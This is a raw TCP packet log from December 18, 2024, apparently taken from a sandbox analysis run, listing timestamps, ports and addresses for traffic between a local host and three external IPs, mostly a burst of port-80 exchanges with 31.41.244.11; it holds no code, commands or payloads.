Dec 18, 2024 17:08:17.346528053 CET	80	49743	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:17.346642971 CET	49743	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:17.346669912 CET	49768	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:17.393719912 CET	49768	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:17.490035057 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:17.490174055 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:17.513885021 CET	80	49768	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:17.547780037 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:17.547805071 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:17.548192024 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:17.591063976 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:17.966830015 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:17.966861010 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:17.966969967 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:18.689502001 CET	80	49768	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:18.689737082 CET	49768	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:18.692173004 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:18.692599058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:18.812434912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:18.812484026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:18.812624931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:18.812624931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:18.812819004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:18.932271957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.143728971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.143755913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.143820047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.143857956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.143986940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.144028902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.144187927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.144210100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.144231081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.144251108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.144582987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.144625902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.144861937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.144876957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.144892931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.144912958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.144943953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.145555019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.145608902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.263381958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.263485909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.263554096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.263607979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.267755985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.267829895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.336364031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.336524010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.336585999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.336643934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.340459108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.340543985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.340687037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.340739012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.349668980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.349751949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.349901915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.349948883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.358217955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.358294010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.358516932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.358567953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.366950989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.366978884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.367036104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.367070913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.374701023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.374797106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.374825001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.374878883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.382560015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.382646084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.382740021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.382797956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.391576052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.391661882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.391663074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.391711950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.399277925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.399368048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.399439096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.399493933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.407793999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.407876015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.407933950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.407989025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.415554047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.415628910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.415642023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.415692091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.460345030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.460442066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.460470915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.460534096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.528263092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.528301954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.528484106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.528484106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.530531883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.530600071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.531385899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.531444073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.531541109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.531595945 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.536573887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.536683083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.536706924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.536739111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.540968895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.541099072 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.541101933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.541152000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.546015978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.546087027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.546098948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.546154976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.550482035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.550560951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.550602913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.550659895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.555244923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.555325031 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.555366993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.555430889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.559930086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.559998035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.560018063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.560050011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.564558029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.564666033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.564692020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.564726114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.569264889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.569341898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.569387913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.569439888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.574011087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.574088097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.574122906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.574176073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.578773022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.578845024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.578888893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.578939915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.583650112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.583745956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.583749056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.583815098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.588165045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.588247061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.588299990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.588360071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.592782974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.592875004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.592919111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.592978001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.596618891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.596702099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.596760988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.596822023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.600405931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.600480080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.600531101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.600586891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.604096889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.604162931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.604212046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.604264975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.607848883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.607909918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.607979059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.608030081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.611763954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.611829042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.611859083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.611907959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.615545034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.615600109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.615885973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.615946054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.619296074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.619360924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.720180988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.720242977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.720256090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.720316887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.721098900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.721153975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.721332073 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.721389055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.724572897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.724634886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.724709034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.724761009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.728182077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.728245974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.728332996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.728396893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.731365919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.731425047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.731496096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.731573105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.734013081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.734071970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.734149933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.734206915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.736229897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.736287117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.736387014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.736442089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.738656044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.738713980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.738738060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.738791943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.740840912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.740895987 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.740904093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.740953922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.743371010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.743443966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.743498087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.743550062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.745944023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.746032953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.746119022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.746176958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.748270988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.748346090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.748528004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.748588085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.751034975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.751108885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.751254082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.751312017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.753635883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.753709078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.753762007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.753813982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.756118059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.756211042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.756246090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.756306887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.758416891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.758477926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.758569002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.758627892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.761642933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.761708021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.761799097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.761856079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.764390945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.764471054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.764558077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.764620066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.766658068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.766721964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.766762972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.766818047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.768733025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.768785954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.768801928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.768851995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.771243095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.771306992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.771353006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.771406889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.773715019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.773778915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.773819923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.773883104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.776319027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.776412010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.776420116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.776482105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.778851986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.778913021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.778935909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.778989077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.781384945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.781446934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.781495094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.781543970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.783942938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.784156084 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.784177065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.784208059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.786437035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.786499977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.786541939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.786595106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.789324999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.789386034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.789433956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.789484024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.791563034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.791619062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.791749001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.791805983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.794395924 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.794456959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.794498920 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.794549942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.796889067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.796947956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.796993017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.797044039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.799643993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.799705029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.799747944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.799801111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.912374973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.912436962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.912554026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.912607908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.913394928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.913448095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.913696051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.913734913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.915559053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.915613890 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.916282892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.916327000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.916387081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.916434050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.918486118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.918530941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.918632030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.918679953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.920450926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.920492887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.920540094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.920584917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.922533035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.922588110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.922677040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:20.922724962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:20.924694061 CET	80	49771	31.41.244.11	192.168.2.4
